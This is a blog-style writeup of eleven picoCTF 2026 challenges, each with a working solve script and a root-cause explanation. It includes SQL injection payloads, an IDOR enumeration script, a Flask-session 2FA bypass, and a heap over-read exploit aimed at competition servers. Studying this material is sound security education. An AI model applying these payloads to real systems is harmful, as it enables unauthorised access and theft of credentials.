picoCTF 2026 — Writeup
· Updated: Aug 5, 2026 · CTF, picoCTF, WriteUp
Table of contents
A late writeup. picoCTF 2026 ran on 2026-03-09, and I only got around to writing this up months afterward. I kept the notes and solve scripts around, so here they finally are, cleaned up into one place.
Eleven challenges across four categories, and most of them share a theme: you do not win by attacking the hard part. The RSA challenge is not solved by factoring, and the heap challenge is not solved by hijacking control flow. Each one turns on a design mistake sitting next to the hard primitive, like a hash treated as authorization, a secret left in git history, or a length the program trusts without checking. The work is mostly in spotting where the real trust boundary is and then walking through the gap.
Each section keeps the same four parts: an overview, the insight that cracks it, the exploitation with the script I actually ran, and the root cause. Flags are quoted where the source recorded them. Three challenges only produce their flag at runtime against a live server, so those show the method without a value I never saved to disk.
Contents
| Category | Challenge | Class of bug |
|---|---|---|
| Web Exploitation | Hashgate | IDOR behind an MD5 wrapper |
| Web Exploitation | Sql Map1 | Authenticated SQLi into MD5 cracking |
| Web Exploitation | No FA | OTP leaked in a signed Flask session |
| Cryptography | cryptomaze | Reproducible LFSR key schedule for AES |
| Cryptography | Shared Secrets | Diffie-Hellman with a leaked private exponent |
| Cryptography | StegoRSA | RSA private key hidden in JPEG metadata |
| Forensics | Binary Digits | A JPEG serialized as an ASCII bitstream |
| Forensics | Forensics Git 0 | Flag in a git reflog on a disk image |
| Forensics | Forensics Git 2 | “Deleted” secret surviving as a git blob |
| Reverse Engineering | Hidden Cipher 1 | Hardcoded key, reversible XOR |
| Reverse Engineering | Secure Password Database | Heartbleed-style heap over-read |
Web Exploitation
Hashgate
Overview
The portal gives you a guest login and challenges you to reach the
admin’s profile. After logging in it redirects to a path shaped like
/profile/user/e93028bdc1aacdfb3687181f2031765d, and the guest profile page helpfully
prints Access level: Guest (ID: 3000). The hint mentions a one-way function.
Insight
That 32-hex token is not random; it is md5("3000"):
python3 -c 'import hashlib; print(hashlib.md5(b"3000").hexdigest())'
# e93028bdc1aacdfb3687181f2031765d
So the backend takes the numeric user ID, wraps it in MD5, and drops it into the
URL as if that were a credential. It is not one. The identifier is fully
predictable, which makes this a textbook IDOR: knowing any user’s ID lets you
compute their profile URL directly. A second hint puts the headcount at roughly
20 employees, so the admin sits near ID 3000.
Exploitation
There is no cracking or brute force here. Enumerate the neighbouring IDs and hash each candidate:
import hashlib
import requests
base = 'http://crystal-peak.picoctf.net:52005'
for i in range(2980, 3051):
h = hashlib.md5(str(i).encode()).hexdigest()
r = requests.get(f'{base}/profile/user/{h}', timeout=10)
t = r.text.strip()
if 'Cannot GET' not in t and 'Insufficient privileges' not in t:
print(i, h, r.status_code, t)
ID 3018 (md5 = 9a96a2c73c0d477ff2a6da3bf538f4f4) returns the admin page:
Welcome, admin! Here is the flag: picoCTF{id0r_unl0ck_fa544448}
Root cause
MD5 is not authorization. Obscuring a predictable ID only changes how it looks; the server still has to check whether the current session may view the resource it is asking for. The correct fix is a server-side access-control check on every profile read, plus unpredictable identifiers (UUIDv4) if a public handle is genuinely needed. Even then, the authorization check stays.
Flag: picoCTF{id0r_unl0ck_fa544448}
Sql Map1
Overview
A register-then-login app. A fresh account logs in and lands on
vuln.php, a search page titled Vulnerable Flag Search with a q GET parameter
that renders results as key: value rows. The login form itself shrugs off
injection (' OR 1=1 -- - and admin' -- - both bounce to index.php?error=1),
so the interesting sink is the authenticated search, not the front door.
Insight
A boolean payload returns every row, confirming the q parameter is
injectable:
' OR 1=1 -- -
ORDER BY then pins down the column count and, as a bonus, leaks the database
engine through its error message:
' order by 3 -- -
-- SQLite3::query(): ... 1st ORDER BY term out of range - should be between 1 and 2
SQLite, two columns. That combination makes schema extraction trivial, because
SQLite keeps its entire schema in the queryable sqlite_master table.
Exploitation
Confirm both columns reflect, dump the schema, then dump the users:
' union select 'a','b' -- -
' union select name,sql from sqlite_master -- -
' union select username,password from users -- -
admin => 5a9a79d9fa477ed163b89088681672c9
ctf-player => 7a67ab5872843b22b5e14511867c4e43
ghost => 8d2379c40704bed972e55680be2355e2
...
Every hash is 32 hex characters: unsalted MD5, which I confirmed by watching my
own registered password pass123 appear as its known MD5. Cracking the
ctf-player hash via a reverse-lookup gives dyesebel. Logging in as
ctf-player / dyesebel redirects to secret.php instead of vuln.php, and
that page holds the flag.
Root cause
Two failures chained together. A parameterized login form does not protect you if some other authenticated endpoint concatenates user input into a query, and unsalted MD5 turns any leaked hash back into a working password in seconds. Defense in depth means both the injection and the storage have to be fixed; patching only one leaves the chain intact.
Flag: picoCTF{F0uNd_s3cr3T_K3y_f0R_w3_<>}
No FA
Overview
This one ships its own Flask source (app.py) and a leaked users.db.
The admin account has 2FA enabled, so even a correct password only gets you a
redirect to /two_fa. The database leak hands you admin’s password; the question
is how to get past the second factor.
Insight
Reading app.py, the OTP handling is where it falls apart. On a successful
password check the server generates the OTP and stores it in the session:
otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
...
return redirect(url_for('two_fa'))
A Flask session cookie is signed, which stops you from forging one, but it is not encrypted, so its contents are plain to read. The server has just handed you a cookie that literally contains the OTP it will check you against. The second factor defends nothing, because its secret ships to the client in readable form.
Exploitation
Log in with the leaked admin password, base64-decode the OTP out
of the session cookie, and replay it to /two_fa:
#!/usr/bin/env python3
import base64
import json
import re
import sys
import zlib
import requests
BASE_URL = "http://foggy-cliff.picoctf.net:59494"
USERNAME = "admin"
PASSWORD = "apple@123"
def decode_flask_session(cookie_value: str) -> dict:
payload = (
cookie_value.split(".")[1]
if cookie_value.startswith(".")
else cookie_value.split(".")[0]
)
raw = base64.urlsafe_b64decode(payload + "=" * (-len(payload) % 4))
try:
raw = zlib.decompress(raw)
except zlib.error:
pass
return json.loads(raw)
def main() -> None:
base_url = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
session = requests.Session()
response = session.post(
f"{base_url}/login",
data={"username": USERNAME, "password": PASSWORD},
allow_redirects=False,
timeout=15,
)
if response.status_code != 302 or response.headers.get("Location") != "/two_fa":
raise SystemExit("[-] Admin login failed")
cookie = session.cookies.get("session")
if not cookie:
raise SystemExit("[-] Session cookie not found")
decoded = decode_flask_session(cookie)
otp = decoded.get("otp_secret")
if not otp:
raise SystemExit("[-] OTP not present in session cookie")
response = session.post(f"{base_url}/two_fa", data={"otp": otp}, timeout=15)
match = re.search(r"picoCTF\{[^}]+\}", response.text)
if not match:
raise SystemExit("[-] Flag not found")
print(match.group(0))
if __name__ == "__main__":
main()
Root cause
A signed cookie guarantees integrity, not confidentiality. Any
value you would not print on the response body does not belong in the session
either. The OTP should live server-side (or be delivered out of band, which the
code’s # send OTP to mail comment hints was the intent) and never be round-tripped
through the client.
Cryptography
cryptomaze
Overview
The flag is AES-encrypted, and the AES key is derived from a Linear
Feedback Shift Register. The catch is that output.txt publishes the LFSR’s
initial state and its tap positions alongside the ciphertext.
Insight
An LFSR is fully deterministic: given the state and taps, its output is fixed. Publishing both means the key schedule is reproducible by anyone. There is nothing to break; you regenerate the exact keystream, pack the bits into the 16 AES key bytes, and decrypt.
Exploitation
#!/usr/bin/env python3
from ast import literal_eval
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
ROOT = Path(__file__).resolve().parent
CHALLENGE_FILE = ROOT / "Challenges" / "output.txt"
def parse_challenge(path: Path):
lines = [line.strip() for line in path.read_text().splitlines() if line.strip()]
state = literal_eval(lines[1])
taps = literal_eval(lines[3])
ciphertext = bytes.fromhex(lines[5])
return state, taps, ciphertext
def lfsr_keystream(state, taps, count):
register = state[:]
bits = []
for _ in range(count):
output_bit = register[0]
feedback = 0
for tap in taps:
feedback ^= register[tap]
register = register[1:] + [feedback]
bits.append(output_bit)
return bits
def bits_to_bytes(bits):
out = bytearray()
for i in range(0, len(bits), 8):
chunk = bits[i : i + 8]
value = 0
for bit in chunk:
value = (value << 1) | bit
out.append(value)
return bytes(out)
def main():
state, taps, ciphertext = parse_challenge(CHALLENGE_FILE)
key = bits_to_bytes(lfsr_keystream(state, taps, 16 * 8))
plaintext = AES.new(key, AES.MODE_ECB).decrypt(ciphertext)
flag = unpad(plaintext, AES.block_size).decode()
print(f"key = {key.hex()}")
print(f"flag = {flag}")
if __name__ == "__main__":
main()
Root cause
An LFSR is a pseudorandom generator, not a source of secrecy. Its entire security depends on the state and taps staying hidden, and even then a plain LFSR is linear enough to recover from a little output. Using one as a standalone key schedule, then publishing its parameters, leaves no secret at all.
Shared Secrets
Overview
A Diffie-Hellman exchange. The encryption.py source shows the shared
secret reduced to a single byte and used as an XOR key over the flag:
shared = pow(A, b, p)
enc = bytes([x ^ (shared % 256) for x in flag])
The message file normally gives you p, the server’s public value A, and the
ciphertext enc.
Insight
The message file also includes b, the client’s private exponent.
Diffie-Hellman’s security rests entirely on those exponents staying secret; with
b in hand, the shared secret is a one-line computation and no discrete logarithm
is ever required. The 1048-bit modulus is a red herring.
Exploitation
#!/usr/bin/env python3
from pathlib import Path
import re
def parse_message(path: Path):
data = path.read_text()
def grab(name: str) -> str:
match = re.search(rf"^{name}\s*=\s*(.+)$", data, re.MULTILINE)
if not match:
raise ValueError(f"missing field: {name}")
return match.group(1).strip()
return {
"p": int(grab("p")),
"A": int(grab("A")),
"b": int(grab("b")),
"enc": bytes.fromhex(grab("enc")),
}
def main():
challenge_dir = Path(__file__).resolve().parent / "Challenge"
values = parse_message(challenge_dir / "message.txt")
shared = pow(values["A"], values["b"], values["p"])
key = shared % 256
flag = bytes(c ^ key for c in values["enc"])
print(flag.decode())
if __name__ == "__main__":
main()
Root cause
Leaking one side’s private exponent collapses the whole exchange,
and squeezing a 1048-bit secret down to one XOR byte is a second, independent
weakness: even without b, that keyspace is only 256 wide and brute-forceable.
Two mistakes, either of which alone loses the flag.
StegoRSA
Overview
An RSA challenge where the public key is conspicuously missing, and the
hints point at metadata and hex. The files are a JPEG and flag.enc.
Insight
The pivot is not RSA math at all. The JPEG’s Comment field holds
the full RSA private key, hex-encoded as a PEM. Once you have the private key,
there is nothing to factor and no parameters to reconstruct; you just decrypt.
Confirm the metadata and recover the key with off-the-shelf tools:
exiftool image.jpg # Comment is a long hex string
exiftool -b -Comment image.jpg | xxd -r -p > private.pem
openssl pkey -in private.pem -text -noout
Exploitation
#!/usr/bin/env python3
from binascii import unhexlify
from pathlib import Path
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
from PIL import Image
IMAGE_PATH = Path("Challenge/image.jpg")
ENC_PATH = Path("Challenge/flag.enc")
def extract_private_key(image_path: Path) -> RSA.RsaKey:
comment = Image.open(image_path).info["comment"]
pem = unhexlify(comment)
return RSA.import_key(pem)
def decrypt_flag(key: RSA.RsaKey, enc_path: Path) -> bytes:
ciphertext = enc_path.read_bytes().strip()
cipher = PKCS1_v1_5.new(key)
plaintext = cipher.decrypt(ciphertext, b"")
if not plaintext:
raise ValueError("decryption failed")
return plaintext
def main() -> None:
key = extract_private_key(IMAGE_PATH)
flag = decrypt_flag(key, ENC_PATH).decode().strip()
print(f"[+] Flag: {flag}")
if __name__ == "__main__":
main()
Root cause
Before reaching for cryptanalysis, check for information leaks. File metadata routinely smuggles keys, and a hint that says “hex” almost always means encoding, not encryption. The math was never the target; the careless key storage was.
Flag: picoCTF{rs4_k3y_1n_1mg_66388eb3}
Forensics
Binary Digits
Overview
The artifact digits.bin is one very long ASCII string of nothing but
1s and 0s. file reports plain text, so there is no container to parse and the
apparent “meaninglessness” is the point.
Insight
The encoding layer is the puzzle. The bitstream is a file
serialized bit by bit. Its length is divisible by 8, and grouping into bytes gives
the JPEG magic ff d8 ff e0:
bits = open("digits.bin").read().strip()
data = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))
Written to disk, those bytes are a normal JPEG with the flag printed inside the image.
Exploitation
Decode the bitstream, then OCR the rendered flag. OCR is noisy, so the solve script crops, thresholds, and scores several variants before settling on the best candidate:
def decode_bits_to_jpeg(src: Path, dst: Path) -> None:
bits = src.read_text(encoding="ascii").strip()
data = bytes(int(bits[i : i + 8], 2) for i in range(0, len(bits), 8))
dst.write_bytes(data)
def run_tesseract(image_path: Path) -> str:
return subprocess.check_output(
["tesseract", str(image_path), "stdout", "--psm", "7"],
text=True,
stderr=subprocess.DEVNULL,
).strip()
Root cause
ASCII that looks like raw bits is usually just another file encoded byte by byte. Divisibility by 8 is the quick sanity check, and a file signature is usually enough to identify the true format underneath.
Flag: picoCTF{h1dd3n_1n_th3_b1n4ry_67bd9b59}
Forensics Git 0
Overview
A single disk.img.gz. The prompt asks how to extract a directory from
the disk image, which nudges toward filesystem forensics rather than mounting.
Insight
The Sleuth Kit reads the filesystem without ever mounting it. mmls
shows two Linux partitions; the second, at sector 1140736, holds the user data.
Walking it recursively surfaces a git repository, and the highest-value target in a
repo is almost never the working tree, it is the history:
mmls disk.img
fls -r -p -o 1140736 disk.img | rg "\.git/logs/HEAD"
Exploitation
Read the reflog straight off its inode; the flag is sitting in the commit message:
icat -o 1140736 disk.img 65704
# ... commit (initial): Wrap this phrase in the flag format: g17_1n_7h3_d15k_041217d8
The solve script automates the whole chain, decompress through extraction:
def linux_offsets(img: Path) -> list[str]:
out = run(["mmls", str(img)])
offsets = []
for line in out.splitlines():
if "Linux (0x83)" in line:
parts = line.split()
if len(parts) >= 3:
offsets.append(parts[2])
return offsets
def extract_flag_from_reflog(img: Path, offset: str, inode: str) -> str:
reflog = run(["icat", "-o", offset, str(img), inode])
direct = re.search(r"picoCTF\{[^}]+\}", reflog)
if direct:
return direct.group(0)
phrase = re.search(r"Wrap this phrase in the flag format:\s*([A-Za-z0-9_]+)", reflog)
if phrase:
return f"picoCTF{{{phrase.group(1)}}}"
raise RuntimeError("Flag phrase not found in git reflog")
Root cause
mmls + fls -r -p + icat is a complete read-only pipeline for
a disk image. A .git directory inside a forensic image is worth checking first:
reflogs and commit messages leak secrets even when the checked-out tree looks
spotless.
Flag: picoCTF{g17_1n_7h3_d15k_041217d8}
Forensics Git 2
Overview
The same disk-image shape, but this time a sensitive chat log was committed and later “removed,” and the prompt notes the deletion routine was interrupted.
Insight
Removing a file from the working tree does not remove it from git. The
blob still lives in .git/objects, and the reflog narrates the cover-up:
commit: Add secret hideout chat log
commit: Remove secret hideout log
Rather than reconstruct the repository, the robust move is to treat every loose
object as a candidate: icat each one out, zlib-inflate it, and grep for the flag.
The guilty blob reads:
Jay: Ask Rusty at the door and use password picoCTF{g17_r35cu3_16ac6bf3}.
Exploitation
def extract_flag(image: Path, offset: str, inodes: list[str]) -> str | None:
for inode in inodes:
try:
data = run(["icat", "-o", offset, str(image), inode], text=False)
raw = __import__("zlib").decompress(data)
except Exception:
continue
if b"\x00" not in raw:
continue
_, body = raw.split(b"\x00", 1)
match = FLAG_RE.search(body)
if match:
return match.group().decode()
return None
Root cause
Git is not a secure-delete tool. A file removed from the working tree persists as an unreachable-but-intact object, and as long as that object survives on disk, its contents come back. Interrupting the wipe just guaranteed it.
Flag: picoCTF{g17_r35cu3_16ac6bf3}
Reverse Engineering
Hidden Cipher 1
Overview
The binary is UPX-packed and talks to a remote service that prints an encrypted flag as hex. Unpack before doing anything else, then disassemble:
upx -d hiddencipher -o hiddencipher.unpacked
objdump -d -Mintel hiddencipher.unpacked
Insight
main reads flag.txt, calls get_secret(), and XORs each byte
against that secret before printing hex. get_secret() builds its key one byte at
a time, and those bytes spell it out in the disassembly:
0x53 0x33 0x43 0x72 0x33 0x74 -> "S3Cr3t"
A repeating-key XOR is its own inverse, so decrypting the service’s ciphertext is
just XOR with S3Cr3t again.
Exploitation
#!/usr/bin/env python3
from itertools import cycle
from pwn import remote
HOST = "candy-mountain.picoctf.net"
PORT = 52358
KEY = b"S3Cr3t"
def main():
io = remote(HOST, PORT)
io.recvline() # banner
hex_ct = io.recvline().decode().strip()
io.close()
ct = bytes.fromhex(hex_ct)
flag = bytes(c ^ k for c, k in zip(ct, cycle(KEY))).decode()
print(f"[+] Flag: {flag}")
if __name__ == "__main__":
main()
Root cause
When you see UPX, unpack first; the packing is not protection. The real weakness is secret management: the key is hardcoded into the function, and a single-key XOR is symmetric, so encryption and decryption are the same operation.
Flag: picoCTF{xor_unpack_4nalys1s_cecbcb91}
Secure Password Database
Overview
Strings alone give it away. The binary references heartbleed.c, and
checksec reports full mitigations (Full RELRO, canary, NX, PIE). That combination
steers you away from control-flow hijacking and toward an information leak,
which is exactly what the filename promises.
Insight
Disassembling main shows the flaw. The program allocates a 90-byte
heap buffer, writes the decoded secret at offset 60, copies your password to the
start, then reads a password length and trusts it completely when printing the
buffer back:
char *buf = calloc(0x5a, 1);
store_secret_at(buf + 0x3c); // secret at offset 60
strcpy(buf, user_input);
int n = atoi(user_len);
for (int i = 0; i <= n && i <= 0x59; i++)
printf("%d ", (signed char)buf[i]);
Send a one-byte password but claim a length of 72, and the print loop walks past
your input and straight over the secret at offset 60. This is the Heartbleed
pattern exactly: a length the program trusts, leaking adjacent memory.
Exploitation
The twelve leaked bytes are iUbh81!j*hn!. The binary gates the
flag behind a djb2 hash of that secret, computed over 64-bit arithmetic, so the
only subtlety is matching the overflow width before submitting:
from pwn import *
import re
HOST = args.HOST or "candy-mountain.picoctf.net"
PORT = int(args.PORT or 62771)
LEAK_LEN = 72
SECRET_OFF = 60
SECRET_LEN = 12
def calc_hash(data: bytes) -> int:
h = 0x1505
for b in data:
h = ((h << 5) + h + b) & 0xFFFFFFFFFFFFFFFF
return h
def main():
io = remote(HOST, PORT)
io.recvuntil(b"Please set a password for your account:")
io.sendline(b"A")
io.recvuntil(b"How many bytes in length is your password?")
io.sendline(str(LEAK_LEN).encode())
io.recvuntil(b"Your successfully stored password:\r\n")
leak = [int(x) for x in io.recvline().decode().strip().split()]
secret = bytes(x & 0xFF for x in leak[SECRET_OFF : SECRET_OFF + SECRET_LEN])
secret_hash = calc_hash(secret)
io.recvuntil(b"Enter your hash to access your account!")
io.sendline(str(secret_hash).encode())
out = io.recvall(timeout=3).decode(errors="ignore")
print(re.search(r"picoCTF\{.*?\}", out).group(0))
if __name__ == "__main__":
main()
Root cause
No control flow is corrupted here; a trusted length just spills neighbouring heap memory, and the secret happens to live one buffer over. Two things to carry forward: a user-supplied length is never trustworthy, and when you re-implement a hash, match the original’s integer width or the overflow will diverge and every guess will miss.
Flag: picoCTF{d0nt_trust_us3rs}